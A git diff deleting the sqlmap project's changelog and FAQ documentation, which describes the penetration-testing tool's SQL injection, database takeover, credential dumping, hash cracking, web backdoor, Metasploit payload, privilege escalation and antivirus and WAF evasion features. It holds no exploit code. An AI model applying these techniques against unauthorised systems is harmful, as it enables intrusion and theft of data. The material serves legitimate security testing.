in the unescape() functions; +* replaced old inference algorithm with a new bisection algorithm. +* reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter; +* improved Common class, adding support for http proxy and http post method in hash_page; +* added OptionCheck class in option.py which performs all needed checks on command line parameters and values; +* added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection on dynamic url parameters; +* improved output methods in dump.py; +* layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on catching of exceptions. diff --git a/doc/ChangeLog b/doc/ChangeLog deleted file mode 100644 index 8d23e2ae31f..00000000000 --- a/doc/ChangeLog +++ /dev/null @@ -1,597 +0,0 @@ -sqlmap (1.0-1) stable; urgency=low - - * Implemented support for automatic decoding of page content through detected - charset (Miroslav) - * Implemented mechanism for proper data dumping on DBMSes not supporting - LIMIT/OFFSET like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.) - (Miroslav) - * Major improvements to program stabilization based on user reports (Miroslav) - * Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms - (Miroslav) - * Added support for setting Tor proxy type together with port (Miroslav) - * Fixed major bug with DNS leaking in Tor mode (Miroslav) - * Added wordlist compilation made of the most popular cracking dictionaries - (Miroslav) - * Added support for mnemonics substantially helping user with program setup - (Miroslav) - * Implemented multi-processor hash cracking routine(s) on Linux OS (Miroslav) - * Implemented advanced detection techniques for inband and time-based - injections by usage of standard deviation method (Miroslav) - * Old resume files are now deprecated and replaced by faster SQLite based - session mechanism (Miroslav) - * Substantial code optimization and smaller memory footprint (Miroslav) - * Added switch -m for scanning multiple targets enlisted in a given textual - file (Miroslav) - * Added switch --randomize for randomly changing value of a given - parameter(s) based on it's original form (Miroslav) - * Added switch --force-ssl for forcing usage of SSL/HTTPS requests (Miroslav) - * Added switch --host for manually setting HTTP Host header value (Miroslav) - * Added switch --eval for evaluating provided Python code (with resulting - parameter values) right before the request itself (Miroslav) - * Added switch --skip for skipping tests for given parameter(s) (Miroslav) - * Added switch --titles for comparing pages based only on their titles - (Miroslav) - * Added switch --charset for forcing character encoding used for data - retrieval (Miroslav) - * Added switch --check-tor for checking if Tor is used properly (Miroslav) - * Added switch --crawl for multithreaded crawling of a given website starting - from the target url (Miroslav) - * Added switch --csv-del for manually setting delimiting character used in CSV - output (Miroslav) - * Added switch --hex for using DBMS hex conversion function(s) for data - retrieval (Miroslav) - * Added switch --smart for conducting through tests only in case of positive - heuristic(s) (Miroslav) - * Added switch --check-waf for checking of existence of WAF/IPS/IDS protection - (Miroslav) - * Added --schema switch to enumerate DBMS schema: shows all columns of - all databases' tables (Bernardo) - * Added --count switch to count the number of entries for a specific - table or all database(s) tables (Bernardo) - * Major improvements to --tables and --columns switches (Bernardo) - * Takeover switch --os-pwn improved: stealthier, faster and AV-proof - (Bernardo) - * Added --mobile switch to imitate a mobile device through HTTP - User-Agent header (Miroslav) - - -- Bernardo Damele A. G. XXX, XX XXX 2011 10:00:00 +0000 - -sqlmap (0.9-1) stable; urgency=low - - * Rewritten SQL injection detection engine (Bernardo and Miroslav). - * Support to directly connect to the database without passing via a - SQL injection, -d switch (Bernardo and Miroslav). - * Added full support for both time-based blind SQL injection and - error-based SQL injection techniques (Bernardo and Miroslav). - * Implemented support for SQLite 2 and 3 (Bernardo and Miroslav). - * Implemented support for Firebird (Bernardo and Miroslav). - * Implemented support for Microsoft Access, Sybase and SAP MaxDB - (Miroslav). - * Extended old '--dump -C' functionality to be able to search for - specific database(s), table(s) and column(s), --search switch - (Bernardo). - * Added support to tamper injection data with --tamper switch (Bernardo - and Miroslav). - * Added automatic recognition of password hashes format and support to - crack them with a dictionary-based attack (Miroslav). - * Added support to enumerate roles on Oracle, --roles switch (Bernardo). - * Added support for SOAP based web services requests (Bernardo). - * Added support to fetch unicode data (Bernardo and Miroslav). - * Added support to use persistent HTTP(s) connection for speed - improvement, --keep-alive switch (Miroslav). - * Implemented several optimization switches to speed up the exploitation - of SQL injections (Bernardo and Miroslav). - * Support to test and inject against HTTP Referer header (Miroslav). - * Implemented HTTP(s) proxy authentication support, --proxy-cred switch - (Miroslav). - * Implemented feature to speedup the enumeration of table names - (Miroslav). - * Support for customizable HTTP(s) redirections (Bernardo). - * Support to replicate the back-end DBMS tables structure and entries - in a local SQLite 3 database, --replicate switch (Miroslav). - * Support to parse and test forms on target url, --forms switch - (Bernardo and Miroslav). - * Added switches to brute-force tables names and columns names with a - dictionary attack, --common-tables and --common-columns. Useful for - instance when system table 'information_schema' is not available on - MySQL (Miroslav). - * Basic support for REST-style URL parameters by using the asterisk (*) - to mark where to test for and exploit SQL injection (Miroslav). - * Added safe URL feature, --safe-url and --safe-freq (Miroslav). - * Added --text-only switch to strip from the HTTP response body the - HTML/JS code and compare pages based only on their textual content - (Miroslav). - * Implemented few other features and switches (Bernardo and Miroslav). - * Over 100 bugs fixed (Bernardo and Miroslav). - * Major code refactoring (Bernardo and Miroslav). - * User's manual updated (Bernardo). - - -- Bernardo Damele A. G. Sun, 10 Apr 2011 21:00:00 +0000 - -sqlmap (0.8-1) stable; urgency=low - - * Support to enumerate and dump all databases' tables containing user - provided column(s) by specifying for instance '--dump -C user,pass'. - Useful to identify for instance tables containing custom application - credentials (Bernardo). - * Support to parse -C (column name(s)) when fetching - columns of a table with --columns: it will enumerate only columns like - the provided one(s) within the specified table (Bernardo). - * Support for takeover features on PostgreSQL 8.4 (Bernardo). - * Enhanced --priv-esc to rely on new Metasploit Meterpreter's - 'getsystem' command to elevate privileges of the user running the - back-end DBMS instance to SYSTEM on Windows (Bernardo). - * Automatic support in --os-pwn to use the web uploader/backdoor to - upload and execute the Metasploit payload stager when stacked queries - SQL injection is not supported, for instance on MySQL/PHP and - MySQL/ASP, but there is a writable folder within the web server - document root (Bernardo and Miroslav). - * Fixed web backdoor functionality for --os-cmd, --os-shell and --os-pwn - useful when web application does not support stacked queries (Bernardo). - * Added support to properly read (--read-file) also binary files via - PostgreSQL by injecting sqlmap new sys_fileread() user-defined - function (Bernardo and Miroslav). - * Updated active fingerprint and comment injection fingerprint for - MySQL 5.1, MySQL 5.4 and MySQL 5.5 (Bernardo). - * Updated active fingerprint for PostgreSQL 8.4 (Bernardo). - * Support for NTLM authentication via python-ntlm third party library, - http://code.google.com/p/python-ntlm/, --auth-type NTLM (Bernardo). - * Support to automatically decode deflate, gzip and x-gzip HTTP - responses (Miroslav). - * Support for Certificate authentication, --auth-cert option added - (Miroslav). - * Added support for regular expression based scope when parsing Burp or - Web Scarab proxy log file (-l), --scope (Miroslav). - * Added option (-r) to load a single HTTP request from a text file - (Miroslav). - * Added option (--ignore-proxy) to ignore system default HTTP proxy - (Miroslav). - * Added support to ignore Set-Cookie in HTTP responses, - --drop-set-cookie (Miroslav). - * Added support to specify which Google dork result page to parse, - --gpage to be used together with -g (Miroslav). - * Major bug fix and enhancements to the multi-threading (--threads) - functionality (Miroslav). - * Fixed URL encoding/decoding of GET/POST parameters and Cookie header - (Miroslav). - * Refactored --update to use python-svn third party library if available - or 'svn' command to update sqlmap to the latest development version - from subversion repository (Bernardo and Miroslav). - * Major bugs fixed (Bernardo and Miroslav). - * Cleanup of UDF source code repository, - https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack (Bernardo - and Miroslav). - * Major code cleanup (Miroslav). - * Added simple file encryption/compression utility, extra/cloak/cloak.py, - used by sqlmap to decrypt on the fly Churrasco, UPX executable and web - shells consequently reducing drastically the number of anti-virus - softwares that mistakenly mark sqlmap as a malware (Miroslav). - * Updated user's manual (Bernardo and Miroslav). - * Created several demo videos, hosted on YouTube - (http://www.youtube.com/user/inquisb) and linked from - http://www.sqlmap.org/demo.html (Bernardo). - - -- Bernardo Damele A. G. Sun, 14 Mar 2010 10:00:00 +0000 - -sqlmap (0.8rc1-1) stable; urgency=low - - * Major enhancement to the Microsoft SQL Server stored procedure - heap-based buffer overflow exploit (--os-bof) to automatically bypass - DEP memory protection. - * Added support for MySQL and PostgreSQL to execute Metasploit shellcode - via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an - option instead of uploading the standalone payload stager executable. - * Added options for MySQL, PostgreSQL and Microsoft SQL Server to - read/add/delete Windows registry keys. - * Added options for MySQL and PostgreSQL to inject custom user-defined - functions. - * Added support for --first and --last so the user now has even more - granularity in what to enumerate in the query output. - * Minor enhancement to save the session by default in - 'output/hostname/session' file if -s option is not specified. - * Minor improvement to automatically remove sqlmap created temporary - files from the DBMS underlying file system. - * Minor bugs fixed. - * Major code refactoring. - - -- Bernardo Damele A. G. Mon, 21 Sep 2009 15:00:00 +0000 - -sqlmap (0.7-1) stable; urgency=low - - * Adapted Metasploit wrapping functions to work with latest 3.3 - development version too. - * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too. - * Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or - --os-bof is selected) when running under Windows because msfconsole - and msfcli are not supported on the native Windows Ruby interpreter. - This make sqlmap 0.7 to work again on Windows too. - * Minor improvement so that sqlmap tests also all parameters with no - value (eg. par=). - * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and - 2.6+. - * Major bug fix to sql-query/sql-shell features. - * Major bug fix in --read-file option. - * Major silent bug fix to multi-threading functionality. - * Fixed the web backdoor functionality (for MySQL) when (usually) stacked - queries are not supported and --os-shell is provided. - * Fixed MySQL 'comment injection' version fingerprint. - * Fixed basic Microsoft SQL Server 2000 fingerprint. - * Many minor bug fixes and code refactoring. - - -- Bernardo Damele A. G. Sat, 25 Jul 2009 10:00:00 +0000 - -sqlmap (0.7rc1-1) stable; urgency=low - - * Added support to execute arbitrary commands on the database server - underlying operating system either returning the standard output or not - via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored - procedure on Microsoft SQL Server; - * Added support for out-of-band connection between the attacker box and - the database server underlying operating system via stand-alone payload - stager created by Metasploit and supporting Meterpreter, shell and VNC - payloads for both Windows and Linux; - * Added support for out-of-band connection via Microsoft SQL Server 2000 - and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer - overflow (MS09-004) exploitation with multi-stage Metasploit payload - support; - * Added support for out-of-band connection via SMB reflection attack with - UNC path request from the database server to the attacker box by using - the Metasploit smb_relay exploit; - * Added support to read and write (upload) both text and binary files on - the database server underlying file system for MySQL, PostgreSQL and - Microsoft SQL Server; - * Added database process' user privilege escalation via Windows Access - Tokens kidnapping on MySQL and Microsoft SQL Server via either - Meterpreter's incognito extension or Churrasco stand-alone executable; - * Speed up the inference algorithm by providing the minimum required - charset for the query output; - * Major bug fix in the comparison algorithm to correctly handle also the - case that the url is stable and the False response changes the page - content very little; - * Many minor bug fixes, minor enhancements and layout adjustments. - - -- Bernardo Damele A. G. Wed, 22 Apr 2009 10:30:00 +0000 - -sqlmap (0.6.4-1) stable; urgency=low - - * Major enhancement to make the comparison algorithm work properly also - on url not stables automatically by using the difflib Sequence Matcher - object; - * Major enhancement to support SQL data definition statements, SQL data - manipulation statements, etc from user in SQL query and SQL shell if - stacked queries are supported by the web application technology; - * Major speed increase in DBMS basic fingerprint; - * Minor enhancement to support an option (--is-dba) to show if the - current user is a database management system administrator; - * Minor enhancement to support an option (--union-tech) to specify the - technique to use to detect the number of columns used in the web - application SELECT statement: NULL bruteforcing (default) or ORDER BY - clause bruteforcing; - * Added internal support to forge CASE statements, used only by --is-dba - query at the moment; - * Minor layout adjustment to the --update output; - * Increased default timeout to 30 seconds; - * Major bug fix to correctly handle custom SQL "limited" queries on - Microsoft SQL Server and Oracle; - * Major bug fix to avoid tracebacks when multiple targets are specified - and one of them is not reachable; - * Minor bug fix to make the Partial UNION query SQL injection technique - work properly also on Oracle and Microsoft SQL Server; - * Minor bug fix to make the --postfix work even if --prefix is not - provided; - * Updated documentation. - - -- Bernardo Damele A. G. Tue, 3 Feb 2009 23:30:00 +0000 - -sqlmap (0.6.3-1) stable; urgency=low - - * Major enhancement to get list of targets to test from Burp proxy - (http://portswigger.net/suite/) requests log file path or WebScarab - proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) - 'conversations/' folder path by providing option -l ; - * Major enhancement to support Partial UNION query SQL injection - technique too; - * Major enhancement to test if the web application technology supports - stacked queries (multiple statements) by providing option - --stacked-test which will be then used someday also by takeover - functionality; - * Major enhancement to test if the injectable parameter is affected by - a time based blind SQL injection technique by providing option - --time-test; - * Minor enhancement to fingerprint the web server operating system and - the web application technology by parsing some HTTP response headers; - * Minor enhancement to fingerprint the back-end DBMS operating system by - parsing the DBMS banner value when -b option is provided; - * Minor enhancement to be able to specify the number of seconds before - timeout the connection by providing option --timeout #, default is set - to 10 seconds and must be 3 or higher; - * Minor enhancement to be able to specify the number of seconds to wait - between each HTTP request by providing option --delay #; - * Minor enhancement to be able to get the injection payload --prefix and - --postfix from user; - * Minor enhancement to be able to enumerate table columns and dump table - entries, also when the database name is not provided, by using the - current database on MySQL and Microsoft SQL Server, the 'public' - scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle; - * Minor enhancemet to support also --regexp, --excl-str and --excl-reg - options rather than only --string when comparing HTTP responses page - content; - * Minor enhancement to be able to specify extra HTTP headers by providing - option --headers. By default Accept, Accept-Language and Accept-Charset - headers are set; - * Minor improvement to be able to provide CU (as current user) as user - value (-U) when enumerating users privileges or users passwords; - * Minor improvements to sqlmap Debian package files; - * Minor improvement to use Python psyco (http://psyco.sourceforge.net/) - library if available to speed up the sqlmap algorithmic operations; - * Minor improvement to retry the HTTP request up to three times in case - an exception is raised during the connection to the target url; - * Major bug fix to correctly enumerate columns on Microsoft SQL Server; - * Major bug fix so that when the user provide a SELECT statement to be - processed with an asterisk as columns, now it also work if in the FROM - there is no database name specified; - * Minor bug fix to correctly dump table entries when the column is - provided; - * Minor bug fix to correctly handle session.error, session.timeout and - httplib.BadStatusLine exceptions in HTTP requests; - * Minor bug fix to correctly catch connection exceptions and notify to - the user also if they occur within a thread; - * Increased default output level from 0 to 1; - * Updated documentation. - - -- Bernardo Damele A. G. Thu, 18 Dec 2008 10:00:00 +0000 - -sqlmap (0.6.2-1) stable; urgency=low - - * Major bug fix to correctly dump tables entries when --stop is not - specified; - * Major bug fix so that the users' privileges enumeration now works - properly also on both MySQL < 5.0 and MySQL >= 5.0; - * Major bug fix when the request is POST to also send the GET parameters - if any have been provided; - * Major bug fix to correctly update sqlmap to the latest stable release - with command line --update; - * Major bug fix so that when the expected value of a query (count - variable) is an integer and, for some reasons, its resumed value from - the session file is a string or a binary file, the query is executed - again and its new output saved to the session file; - * Minor bug fix in MySQL comment injection fingerprint technique; - * Minor improvement to correctly enumerate tables, columns and dump - tables entries on Oracle and on PostgreSQL when the database name is - not 'public' schema or a system database; - * Minor improvement to be able to dump entries on MySQL < 5.0 when - database name, table name and column(s) are provided; - * Updated the database management system fingerprint checks to correctly - identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; - * More user-friendly warning messages. - - -- Bernardo Damele A. G. Sun, 2 Nov 2008 19:00:00 +0000 - -sqlmap (0.6.1-1) stable; urgency=low - - * Major bug fix to blind SQL injection bisection algorithm to handle an - exception; - * Added a Metasploit Framework 3 auxiliary module to run sqlmap; - * Implemented possibility to test for and inject also on LIKE - statements; - * Implemented --start and --stop options to set the first and the last - table entry to dump; - * Added non-interactive/batch-mode (--batch) option to make it easy to - wrap sqlmap in Metasploit and any other tool; - * Minor enhancement to save also the length of query output in the - session file when retrieving the query output length for ETA or for - resume purposes; - * Changed the order sqlmap dump table entries from column by column to - row by row. Now it also dumps entries as they are stored in the tables, - not forcing the entries' order alphabetically anymore; - * Minor bug fix to correctly handle parameters' value with % character. - - -- Bernardo Damele A. G. Fri, 20 Oct 2008 10:00:00 +0000 - -sqlmap (0.6-1) stable; urgency=low - - * Complete code refactor and many bugs fixed; - * Added multithreading support to set the maximum number of concurrent - HTTP requests; - * Implemented SQL shell (--sql-shell) functionality and fixed SQL query - (--sql-query, before called -e) to be able to run whatever SELECT - statement and get its output in both inband and blind SQL injection - attack; - * Added an option (--privileges) to retrieve DBMS users privileges, it - also notifies if the user is a DBMS administrator; - * Added support (-c) to read options from configuration file, an example - of valid INI file is sqlmap.conf and support (--save) to save command - line options on a configuration file; - * Created a function that updates the whole sqlmap to the latest stable - version available by running sqlmap with --update option; - * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) - installation binary packages; - * Created sqlmap .exe (Windows) portable executable; - * Save a lot of more information to the session file, useful when - resuming injection on the same target to not loose time on identifying - injection, UNION fields and back-end DBMS twice or more times; - * Improved automatic check for parenthesis when testing and forging SQL - query vector; - * Now it checks for SQL injection on all GET/POST/Cookie parameters then - it lets the user select which parameter to perform the injection on in - case that more than one is injectable; - * Implemented support for HTTPS requests over HTTP(S) proxy; - * Added a check to handle NULL or not available queries output; - * More entropy (randomStr() and randomInt() functions in - lib/core/common.py) in inband SQL injection concatenated query and in - AND condition checks; - * Improved XML files structure; - * Implemented the possibility to change the HTTP Referer header; - * Added support to resume from session file also when running with - inband SQL injection attack; - * Added an option (--os-shell) to execute operating system commands if - the back-end DBMS is MySQL, the web server has the PHP engine active - and permits write access on a directory within the document root; - * Added a check to assure that the provided string to match (--string) - is within the page content; - * Fixed various queries in XML file; - * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted - the library to parse it; - * Fixed password fetching function, mainly for Microsoft SQL Server and - reviewed the password hashes parsing function; - * Major bug fixed to avoid tracebacks when the testable parameter(s) is - dynamic, but not injectable; - * Enhanced logging system: added three more levels of verbosity to show - also HTTP sent and received traffic; - * Enhancement to handle Set-Cookie from target url and automatically - re-establish the Session when it expires; - * Added support to inject also on Set-Cookie parameters; - * Implemented TAB completion and command history on both --sql-shell and - --os-shell; - * Renamed some command line options; - * Added a conversion library; - * Added code schema and reminders for future developments; - * Added Copyright comment and $Id$; - * Updated the command line layout and help messages; - * Updated some docstrings; - * Updated documentation files. - - -- Bernardo Damele A. G. Mon, 1 Sep 2008 10:00:00 +0100 - -sqlmap (0.5-1) stable; urgency=low - - * Added support for Oracle database management system - * Extended inband SQL injection functionality (--union-use) to all - other possible queries since it only worked with -e and --file on - all DMBS plugins; - * Added support to extract database users password hash on Microsoft - SQL Server; - * Added a fuzzer function with the aim to parse HTML page looking - for standard database error messages consequently improving - database fingerprinting; - * Added support for SQL injection on HTTP Cookie and User-Agent headers; - * Reviewed HTTP request library (lib/request.py) to support the - extended inband SQL injection functionality. Splitted getValue() - into getInband() and getBlind(); - * Major enhancements in common library and added checkForBrackets() - method to check if the bracket(s) are needed to perform a UNION query - SQL injection attack; - * Implemented --dump-all functionality to dump entire DBMS data from - all databases tables; - * Added support to exclude DBMS system databases' when enumeration - tables and dumping their entries (--exclude-sysdbs); - * Implemented in Dump.dbTableValues() method the CSV file dumped data - automatic saving in csv/ folder by default; - * Added DB2, Informix and Sybase DBMS error messages and minor - improvements in xml/errors.xml; - * Major improvement in all three DBMS plugins so now sqlmap does not - get entire databases' tables structure when all of database/table/ - column are specified to be dumped; - * Important fixes in lib/option.py to make sqlmap properly work also - with python 2.5 and handle the CSV dump files creation work also - under Windows operating system, function __setCSVDir() and fixed - also in lib/dump.py; - * Minor enhancement in lib/injection.py to randomize the number - requested to test the presence of a SQL injection affected parameter - and implemented the possibilities to break (q) the for cycle when - using the google dork option (-g); - * Minor fix in lib/request.py to properly encode the url to request - in case the "fixed" part of the url has blank spaces; - * More minor layout enhancements in some libraries; - * Renamed DMBS plugins; - * Complete code refactoring, a lot of minor and some major fixes in - libraries, many minor improvements; - * Updated all documentation files. - - -- Bernardo Damele A. G. Sun, 4 Nov 2007 20:00:00 +0100 - -sqlmap (0.4-1) stable; urgency=low - - * Added DBMS fingerprint based also upon HTML error messages parsing - defined in lib/parser.py which reads an XML file defining default - error messages for each supported DBMS; - * Added Microsoft SQL Server extensive DBMS fingerprint checks based - upon accurate '@@version' parsing matching on an XML file to get also - the exact patching level of the DBMS; - * Added support for query ETA (Estimated Time of Arrival) real time - calculation (--eta); - * Added support to extract database management system users password - hash on MySQL and PostgreSQL (--passwords); - * Added docstrings to all functions, classes and methods, consequently - released the sqlmap development documentation - ; - * Implemented Google dorking feature (-g) to take advantage of Google - results affected by SQL injection to perform other command line - argument on their DBMS; - * Improved logging functionality: passed from banal 'print' to Python - native logging library; - * Added support for more than one parameter in '-p' command line - option; - * Added support for HTTP Basic and Digest authentication methods - (--basic-auth and --digest-auth); - * Added the command line option '--remote-dbms' to manually specify - the remote DBMS; - * Major improvements in union.UnionCheck() and union.UnionUse() - functions to make it possible to exploit inband SQL injection also - with database comment characters ('--' and '#') in UNION query - statements; - * Added the possibility to save the output into a file while performing - the queries (-o OUTPUTFILE) so it is possible to stop and resume the - same query output retrieving in a second time (--resume); - * Added support to specify the database table column to enumerate - (-C COL); - * Added inband SQL injection (UNION query) support (--union-use); - * Complete code refactoring, a lot of minor and some major fixes in - libraries, many minor improvements; - * Reviewed the directory tree structure; - * Splitted lib/common.py: inband injection functionalities now are - moved to lib/union.py; - * Updated documentation files. - - -- Bernardo Damele A. G. Fri, 15 Jun 2007 20:00:00 +0100 - -sqlmap (0.3-1) stable; urgency=low - - * Added module for MS SQL Server; - * Strongly improved MySQL dbms active fingerprint and added MySQL - comment injection check; - * Added PostgreSQL dbms active fingerprint; - * Added support for string match (--string); - * Added support for UNION check (--union-check); - * Removed duplicated code, delegated most of features to the engine - in common.py and option.py; - * Added support for --data command line argument to pass the string - for POST requests; - * Added encodeParams() method to encode url parameters before making - http request; - * Many bug fixes; - * Rewritten documentation files; - * Complete code restyling. - - -- Bernardo Damele A. G. Sat, 20 Jan 2007 20:00:00 +0100 - -sqlmap (0.2-1) stable; urgency=low - - * complete refactor of entire program; - * added TODO and THANKS files; - * added some papers references in README file; - * moved headers to user-agents.txt, now -f parameter specifies a file - (user-agents.txt) and randomize the selection of User-Agent header; - * strongly improved program plugins (mysqlmap.py and postgres.py), - major enhancements: - * improved active mysql fingerprint check_dbms(); - * improved enumeration functions for both databases; - * minor changes in the unescape() functions; - * replaced old inference algorithm with a new bisection algorithm. - * reviewed command line parameters, now with -p it's possible to - specify the parameter you know it's vulnerable to sql injection, - this way the script won't perform the sql injection checks itself; - removed the TOKEN parameter; - * improved Common class, adding support for http proxy and http post - method in hash_page; - * added OptionCheck class in option.py which performs all needed checks - on command line parameters and values; - * added InjectionCheck class in injection.py which performs check on - url stability, dynamics of parameters and injection on dynamic url - parameters; - * improved output methods in dump.py; - * layout enhancement on main program file (sqlmap.py), adapted to call - new option/injection classes and improvements on catching of - exceptions. - - -- Bernardo Damele A. G. Wed, 13 Dec 2006 20:00:00 +0100 diff --git a/doc/FAQ.html b/doc/FAQ.html deleted file mode 100644 index a402dd21ac7..00000000000 --- a/doc/FAQ.html +++ /dev/null @@ -1,228 +0,0 @@ - - - - - sqlmap - Frequently Asked Questions - - -

sqlmap - Frequently Asked Questions

- -

by -Bernardo Damele A. G., -Miroslav Stampar

-
-This document contains frequently asked questions for -sqlmap. -
-

-

1. Frequently Asked Questions

- - - -
-

1. Frequently Asked Questions

- -

1.1 What is sqlmap? -

- -

sqlmap is an open source penetration testing tool that automates the -process of detecting and exploiting SQL injection flaws and taking over -of database servers. It comes with a powerful detection engine, many niche -features for the ultimate penetration tester and a broad range of switches -lasting from database fingerprinting, over data fetching from the -database, to accessing the underlying file system and executing commands -on the operating system via out-of-band connections.

- -

1.2 How do I execute sqlmap? -

- -

If you are running on a Unix/Linux system type the following command -from a terminal: -

-
-python sqlmap.py -h
-
-
-

- -

If you are running on a Windows system type the following command -from a terminal: -

-
-C:\Python26\python.exe sqlmap.py -h
-
-
-

- -

Where C:\Python26 is the path where you installed -Python >= 2.6.

- -

1.3 Can I integrate sqlmap with a security tool I am developing? -

- -

Yes. sqlmap is released under the terms of the GPLv2, which means that any -derivative work must be distributed without further restrictions on the -rights granted by the GPL itself.

- -

1.4 Will you support other database management systems? -

- -

Yes. There are plans to support also Informix and Ingres at some -point of time.

- -

1.5 How can I occasionally contribute? -

- -

All help is greatly appreciated. First of all download the tool, make sure -you are running the latest development version from the Subversion -repository, read the user's manual carefully, have fun with it during your -penetration tests. -If you find bugs or have ideas for possible improvements, feel free to -get in touch on the mailing list. Many people have -contributed in different ways to the sqlmap development. -You can be the next!

- -

1.6 Can I actively contribute in the long-term development? -

- -

Yes, we are looking for people who can write some clean Python code, are -up to do security research, know about web application security, database -assessment and takeover, software refactoring and are motivated to join -the development team. -If this sounds interesting to you, -get in touch!

- -

1.7 How can I support the development? -

- -

If you think that sqlmap is a great tool, it really played well during -your penetration tests, or you simply like it, you, or your boss, can -donate some money to the developers via PayPal.

- -

1.8 Can you hack a site for me? -

- -

No.

- -

1.9 When sqlmap will switch to the Python 3? -

- -

Currently there is no pressure on Python projects to switch to the new -version of Python interpreter, as the process of switching, especially on -larger projects can be cumbersome (due to the few backward incompatibilities). -The switch will take place eventually, but currently it's a very low priority task.

- -

1.10 What does "WARNING unknown charset '...'" mean? -

- -

sqlmap needs to properly decode page content to be able to properly -detect and deal with internationalized characters. In some cases web developers -are doing mistakes when declaring used web page charset (e.g. iso_8859 instead -of standardized name iso-8859), which can cause problems. As a failsafe mechanism -we've incorporated heuristic detection engine -chardet, -so in most cases sqlmap will deal with this kind of problems automatically. -Nevertheless, you are strongly advised to report us back those typographic "mistakes" -so we could handle them manually inside the code.

- -

Question(s): -#1 -#2 -#3

- -

1.11 How to use sqlmap with mod_rewrite enabled? -

- -

Just put * to the place where sqlmap should check for injections in URI -itself. In example: ./sqlmap.py -u "www.site.com/id1/1*/id2/2" sqlmap -will try to inject the payloads just at that place marked with * character.

- -

Question(s): -#1 -#2 -#3

- -

1.12 Why is sqlmap not able to get password hashes in some cases? -

- -

You most probably don't have enough permissions for querying on a system -table containing password hashes.

- -

Question(s): -#1

- -

1.13 What is --text-only switch? -

- -

Switch --text-only is used for removing non-textual data (tags, -javascripts, styles,...) from the retrieved page content to further -improve detection capabilities.

- -

Question(s): -#1

- -

1.14 I am getting "CRITICAL connection timed" while I am able to browse the site normally? -

- -

There are few IDSes that filter out all sqlmap requests based on default -User-Agent HTTP header used (e.g. "User-agent: sqlmap/1.0-dev"). To prevent this -kind of situations you are advised to use switch --random-agent. -If you are getting those kind of messages for all targets then you -most probably need to properly set up your proxy settings (switches --proxy -and/or --ignore-proxy)

- -

Question(s): -#1

- -

1.15 Is it possible to use "INSERT/UPDATE" SQL commands via --sql-query -and/or --sql-shell?

- -

It is possible to use those commands, but only if the stacked injection is supported -by the vulnerable target. In vast majority of cases affected DBMSes by these kind of -attacks are Microsoft SQL Server and PostgreSQL.

- -

Question(s): -#1

- -

1.16 I am getting "finally: SyntaxError: invalid syntax" when trying to run sqlmap? -

- -

You are most probably using outdated version of Python. sqlmap is generally -supported by Python versions in range 2.5, 2.6 and 2.7, while you are strongly -advised to use versions 2.6 and 2.7.

- -

Question(s): -#1

- -

1.17 sqlmap is not able to detect/exploit injection while other commercial tools are? -

- -

In most of those kind of cases blatant error message detection is used by commercial -tools making some "false positive" claims. You have to be aware that -DBMS error message doesn't mean that the affected web application is vulnerable to -SQL injection attacks. sqlmap goes several steps further and never claims -an injection point without making through tests if it can be exploited at the first place.

- -

Question(s): -#1

- - - diff --git a/doc/FAQ.pdf b/doc/FAQ.pdf deleted file mode 100644 index 05dc5e9f1c6..00000000000 Binary files a/doc/FAQ.pdf and /dev/null differ diff --git a/doc/FAQ.sgml b/doc/FAQ.sgml deleted file mode 100644 index 81571beaa2d..00000000000 --- a/doc/FAQ.sgml +++ /dev/null @@ -1,210 +0,0 @@ - - -
- -sqlmap - Frequently Asked Questions -<author>by <htmlurl url="mailto:bernardo@sqlmap.org" name="Bernardo Damele A. G.">, -<htmlurl url="mailto:miroslav@sqlmap.org" name="Miroslav Stampar"> -<abstract> -This document contains frequently asked questions for <htmlurl -url="http://www.sqlmap.org" name="sqlmap">. -</abstract> - -<toc> - -<sect>Frequently Asked Questions - -<sect1>What is sqlmap? - -<p> -sqlmap is an open source penetration testing tool that automates the -process of detecting and exploiting SQL injection flaws and taking over -of database servers. It comes with a powerful detection engine, many niche -features for the ultimate penetration tester and a broad range of switches -lasting from database fingerprinting, over data fetching from the -database, to accessing the underlying file system and executing commands -on the operating system via out-of-band connections. - -<sect1>How do I execute sqlmap? - -<p> -If you are running on a Unix/Linux system type the following command -from a terminal: -<tscreen><verb> -python sqlmap.py -h -</verb></tscreen> - -<p> -If you are running on a Windows system type the following command -from a terminal: -<tscreen><verb> -C:\Python26\python.exe sqlmap.py -h -</verb></tscreen> - -<p> -Where <tt>C:\Python26</tt> is the path where you installed <htmlurl -url="http://www.python.org" name="Python"> <bf>>= 2.6</bf>. - -<sect1>Can I integrate sqlmap with a security tool I am developing? - -<p> -Yes. sqlmap is released under the terms of the GPLv2, which means that any -derivative work must be distributed without further restrictions on the -rights granted by the GPL itself. - -<sect1>Will you support other database management systems? - -<p> -Yes. There are plans to support also Informix and Ingres at some -point of time. - -<sect1>How can I occasionally contribute? - -<p> -All help is greatly appreciated. First of all download the tool, make sure -you are running the latest development version from the Subversion -repository, read the user's manual carefully, have fun with it during your -penetration tests. -If you find bugs or have ideas for possible improvements, feel free to -<htmlurl url="http://www.sqlmap.org/#ml" name="get in touch on the -mailing list">. Many people have <htmlurl -url="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/THANKS" -name="contributed"> in different ways to the sqlmap development. -<bf>You</bf> can be the next! - -<sect1>Can I actively contribute in the long-term development? - -<p> -Yes, we are looking for people who can write some clean Python code, are -up to do security research, know about web application security, database -assessment and takeover, software refactoring and are motivated to join -the development team. -If this sounds interesting to you, <htmlurl -url="http://www.sqlmap.org/#developers" name="get in touch">! - -<sect1>How 